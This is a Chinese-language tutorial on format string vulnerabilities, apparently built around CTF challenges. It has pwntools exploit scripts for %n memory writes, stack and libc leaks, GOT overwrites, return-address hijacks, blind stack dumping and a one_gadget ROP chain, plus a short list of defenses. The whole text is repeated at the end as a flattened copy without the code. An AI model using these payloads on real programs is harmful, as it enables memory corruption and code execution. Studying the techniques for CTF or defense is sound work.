格式化字符串详解
字数 1981 2025-08-20 18:17:00

格式化字符串漏洞详解

基础知识

函数介绍

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。几乎所有C/C++程序都会利用格式化字符串函数来输出信息、调试程序或处理字符串。

常见的格式化字符串函数:

函数 基本介绍
printf 输出到stdout
fprintf 输出到指定FILE流
vprintf 根据参数列表格式化输出到stdout
vfprintf 根据参数列表格式化输出到指定FILE流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置argv
syslog 输出日志

格式化字符串格式

基本格式:%[parameter][flags][field width][.precision][length]type

常见格式化字符串含义:

  • %p: 直接打印栈上的数据
  • %s: 把栈上的数据作为地址解析,打印地址解析的数据
  • %x: 以十六进制打印,只能打印4字节(32位)
  • %c: 打印单个字符
  • %hhn: 写一字节
  • %hn: 写两字节
  • %n: 把已成功输出的字符个数写入对应的整型指针参数所指的变量(写四字节)
  • %ln: 32位写四字节,64位写八字节
  • %lln: 写八字节
  • %d, %i: 有符号十进制数值int

漏洞原理

格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的。当程序编写不规范时,如正确的写法是printf("%s", pad),但偷懒写成了printf(pad),此时就存在格式化字符串漏洞。

示例漏洞代码:

#include <stdio.h>

int main() {
    char pad[100];
    scanf("%s", pad);
    printf(pad);  // 漏洞点
    return 0;
}

漏洞利用技术

1. 覆盖内存(32位)

示例题目:fmtstr1

程序逻辑:如果变量x等于4,程序会执行system("/bin/sh")

利用步骤:

  1. 找到x的地址:0x0804A02C
  2. 确定格式化字符串在栈上的偏移位置(第11个参数)
  3. 构造payload:p32(x_addr) + b"%11$n"

EXP:

from pwn import *
context(os='linux', arch='i386', log_level='debug')

io = process('./pwn')
elf = ELF('./pwn')
x_addr = 0x0804A02C
payload = p32(x_addr) + b"%11$n"
io.sendline(payload)
io.interactive()

2. 泄露栈内存(64位)

示例题目:fmtstr2

程序逻辑:读取flag.txt内容并与用户输入比较

利用步骤:

  1. 64位前6个参数存储在寄存器中(rdi,rsi,rdx,rcx,r8,r9)
  2. 确定格式化字符串在栈上的偏移位置(第9个参数)
  3. 构造payload:"%9$s"

EXP:

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

io = process('./pwn')
elf = ELF('./pwn')
io.recvuntil(b"flag")
payload = "%9$s"
io.sendline(payload)
io.interactive()

3. libc泄露与劫持GOT

示例题目:fmstr3

利用步骤:

  1. 泄露puts函数的GOT地址
  2. 计算libc基址
  3. 获取system和/bin/sh地址
  4. 覆盖GOT表项或构造ROP链

EXP关键部分:

# 泄露puts地址
name_content("puts", b'%8$s' + p32(elf.got['puts']))
puts_addr = l32()
libcbase = puts_addr - libc.symbols['puts']

# 计算system和/bin/sh地址
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh\00'))

# 覆盖GOT表
payload = fmtstr_payload(7, {elf.got['printf']: system_addr})
put('/bin/sh', payload)
get('/bin/sh')

4. 劫持返回地址

示例题目:fmstr4

利用步骤:

  1. 泄露栈地址和程序基址
  2. 计算返回地址位置
  3. 修改返回地址为后门函数地址

EXP关键部分:

# 泄露地址
p.sendline('%6$p')
ret_addr = int(p.recvuntil('.TMP', drop=True), 16) - 0x38

# 修改返回地址
p.sendline(p64(ret_addr))
p.sendline('%2218d%8$hn')  # 0x4008A6 = 2214

5. 盲打泄露栈

技术要点:

  1. 使用循环泄露栈上数据
  2. 识别有用的地址信息
  3. 重建程序内存布局

示例代码:

from pwn import *

def leak(payload):
    sh = remote('127.0.0.1', 9999)
    sh.sendline(payload)
    data = sh.recvuntil('\n', drop=True)
    if data.startswith('0x'):
        print(p64(int(data, 16)))
    sh.close()

i = 1
while True:
    payload = '%{}$p'.format(i)
    leak(payload)
    i += 1

6. 盲打劫持GOT

技术要点:

  1. 从程序加载地址开始泄露(32位:0x8048000, 64位:0x400000)
  2. 或从.text段开始泄露
  3. 重建GOT表信息
  4. 覆盖GOT表项

泄露脚本:

def leak(addr):
    payload = "%9$s.TMP" + p32(addr)
    r.sendline(payload)
    ret = r.recvuntil(".TMP", drop=True)
    return ret

# 从0x8048000开始泄露
begin = 0x8048000
text_seg = ''
try:
    while True:
        ret = leak(begin)
        text_seg += ret
        begin += len(ret)
        if len(ret) == 0:
            begin += 1
            text_seg += '\x00'
except:
    with open('dump_bin','wb') as f:
        f.write(text_seg)

高级利用技巧

1. 多次循环利用

HWS fmt题目示例:

  1. 第一次printf泄露栈上数据,得到libc基址、栈基址和elf文件基址
  2. 第二次printf修改run函数返回地址的低位字节,将其修改为main函数中的call run指令
  3. 在run函数返回地址下方布置ROP链
  4. 最后将run的返回地址改为ret指令地址执行ROP链

EXP关键部分:

# 泄露地址
payload = '%19$p,%9$p,%14$p'
sl(payload)
pie = int(p.recv(12),16) - elf.sym['main'] - 28
libcbase = int(p.recv(12),16) - libc.sym['_IO_file_setbuf'] - 13
rbp = int(p.recv(12),16)

# 计算返回地址
ret = rbp + 8
__libc_start = ret + 0x10

# 修改返回地址
ogg = libcbase + 0xe3b01
payload = b'%' + str(ogg & 0xff).encode() + b'c%11$hhn'
payload += b'%' + str((ogg >> 8) & 0xff).encode() + b'c%12$hhn'
payload += b'%' + str((ogg >> 16) & 0xff).encode() + b'c%13$hhnaaaaaaa'
payload += p64(__libc_start)
payload += p64(__libc_start+1)
payload += p64(__libc_start+2)
sl(payload)

防御措施

  1. 始终指定格式化字符串,如使用printf("%s", str)而非printf(str)
  2. 使用编译时检查,如GCC的-Wformat-security选项
  3. 限制用户输入的格式字符串内容
  4. 使用更安全的替代函数,如snprintf

总结

格式化字符串漏洞是一种强大的漏洞类型,可以实现:

  • 任意内存读取(信息泄露)
  • 任意内存写入(修改关键数据)
  • 控制流劫持(通过修改返回地址或GOT表)

理解格式化字符串漏洞需要掌握:

  1. 函数调用约定(32位栈传参,64位寄存器+栈传参)
  2. 格式化字符串语法和特殊格式(如%n)
  3. 内存布局和地址计算
  4. 利用技术如GOT劫持、返回地址覆盖等

通过系统学习和实践,可以掌握这种漏洞的利用方法,并在实际场景中灵活应用。

格式化字符串漏洞详解 基础知识 函数介绍 格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。几乎所有C/C++程序都会利用格式化字符串函数来输出信息、调试程序或处理字符串。 常见的格式化字符串函数: | 函数 | 基本介绍 | |------|----------| | printf | 输出到stdout | | fprintf | 输出到指定FILE流 | | vprintf | 根据参数列表格式化输出到stdout | | vfprintf | 根据参数列表格式化输出到指定FILE流 | | sprintf | 输出到字符串 | | snprintf | 输出指定字节数到字符串 | | vsprintf | 根据参数列表格式化输出到字符串 | | vsnprintf | 根据参数列表格式化输出指定字节到字符串 | | setproctitle | 设置argv | | syslog | 输出日志 | 格式化字符串格式 基本格式: %[parameter][flags][field width][.precision][length]type 常见格式化字符串含义: %p : 直接打印栈上的数据 %s : 把栈上的数据作为地址解析,打印地址解析的数据 %x : 以十六进制打印,只能打印4字节(32位) %c : 打印单个字符 %hhn : 写一字节 %hn : 写两字节 %n : 把已成功输出的字符个数写入对应的整型指针参数所指的变量(写四字节) %ln : 32位写四字节,64位写八字节 %lln : 写八字节 %d , %i : 有符号十进制数值int 漏洞原理 格式化字符串漏洞的成因在于像 printf/sprintf/snprintf 等格式化打印函数都是接受可变参数的。当程序编写不规范时,如正确的写法是 printf("%s", pad) ,但偷懒写成了 printf(pad) ,此时就存在格式化字符串漏洞。 示例漏洞代码: 漏洞利用技术 1. 覆盖内存(32位) 示例题目:fmtstr1 程序逻辑:如果变量x等于4,程序会执行 system("/bin/sh") 利用步骤: 找到x的地址: 0x0804A02C 确定格式化字符串在栈上的偏移位置(第11个参数) 构造payload: p32(x_addr) + b"%11$n" EXP: 2. 泄露栈内存(64位) 示例题目:fmtstr2 程序逻辑:读取flag.txt内容并与用户输入比较 利用步骤: 64位前6个参数存储在寄存器中(rdi,rsi,rdx,rcx,r8,r9) 确定格式化字符串在栈上的偏移位置(第9个参数) 构造payload: "%9$s" EXP: 3. libc泄露与劫持GOT 示例题目:fmstr3 利用步骤: 泄露puts函数的GOT地址 计算libc基址 获取system和/bin/sh地址 覆盖GOT表项或构造ROP链 EXP关键部分: 4. 劫持返回地址 示例题目:fmstr4 利用步骤: 泄露栈地址和程序基址 计算返回地址位置 修改返回地址为后门函数地址 EXP关键部分: 5. 盲打泄露栈 技术要点: 使用循环泄露栈上数据 识别有用的地址信息 重建程序内存布局 示例代码: 6. 盲打劫持GOT 技术要点: 从程序加载地址开始泄露(32位:0x8048000, 64位:0x400000) 或从.text段开始泄露 重建GOT表信息 覆盖GOT表项 泄露脚本: 高级利用技巧 1. 多次循环利用 HWS fmt题目示例: 第一次printf泄露栈上数据,得到libc基址、栈基址和elf文件基址 第二次printf修改run函数返回地址的低位字节,将其修改为main函数中的call run指令 在run函数返回地址下方布置ROP链 最后将run的返回地址改为ret指令地址执行ROP链 EXP关键部分: 防御措施 始终指定格式化字符串,如使用 printf("%s", str) 而非 printf(str) 使用编译时检查,如GCC的 -Wformat-security 选项 限制用户输入的格式字符串内容 使用更安全的替代函数,如 snprintf 总结 格式化字符串漏洞是一种强大的漏洞类型,可以实现: 任意内存读取(信息泄露) 任意内存写入(修改关键数据) 控制流劫持(通过修改返回地址或GOT表) 理解格式化字符串漏洞需要掌握: 函数调用约定(32位栈传参,64位寄存器+栈传参) 格式化字符串语法和特殊格式(如%n) 内存布局和地址计算 利用技术如GOT劫持、返回地址覆盖等 通过系统学习和实践,可以掌握这种漏洞的利用方法,并在实际场景中灵活应用。